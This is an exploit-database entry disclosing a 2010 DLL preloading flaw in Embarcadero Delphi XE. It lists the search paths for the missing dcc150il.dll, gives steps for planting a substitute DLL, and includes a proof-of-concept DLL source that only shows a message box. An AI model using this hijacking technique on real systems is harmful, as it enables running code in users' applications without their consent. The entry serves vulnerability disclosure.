Lucene search
K

Embarcadero Delphi XE (2011) DLL preloading exploit

🗓️ 26 Sep 2010 00:00:00Reported by STRELiTZIAType 
zdt
 zdt
🔗 0day.today👁 29 Views

Embarcadero Delphi XE 2011 DLL preloading exploit allows attackers to execute malicious code locally without user consen

Code
===================================================
Embarcadero Delphi XE (2011) DLL preloading exploit
===================================================

Exploit Title  : [Embarcadero Delphi XE (2011), DLL preloading exploit]
Author         : [STRELiTZIA]
Software       : [Delphi XE (2011)]
Tested on      : [Windows Xp SP3]
	
============================
=       Description        = 
============================
Delphi XE, searchs and laods INEXISTENT "dcc150il.dll" library without checks, or any visual warning messages related to library modifications.
Vulnerability that can allow attackers to execute malicious code locally, without user consent, in the privilege
context of the targeted application.
 
 
============================
=       Instructions       =
============================
Default searching folders:
%C%:\Program Files\Embarcadero\RAD Studio\8.0\bin\dcc150il.dll
%C%:\WINDOWS\system32\dcc150il.dll
%C%:\WINDOWS\system\dcc150il.dll
%C%:\WINDOWS\dcc150il.dll
%C%:\Documents and Settings\%User%\%My documents%\RAD Studio\Projects\dcc150il.dll
%C%:\Documents and Settings\All Users\Documents\RAD Studio\8.0\BPL\dcc150il.dll
%C%:\WINDOWS\system32\wbem\dcc150il.dll

1- Copy "Test.dll" into "One of listed folders"
2- Rename "Test.dll" to "dcc150il.dll"

============================
=          Tests           =
============================
- Launch Embarcadero Delphi XE.
- File ->> New ->> VCL Forms application - Delphi.
	
============================
= Test Dll Source "Delphi" =
============================
Library Test;
uses
  Windows;

begin
  MessageBoxA
    (
    0,
    PChar('Yep, I''m running in your system without your permission.'),
	PChar('Sample'),
    MB_ICONSTOP
    );
end.



#  0day.today [2018-04-03]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation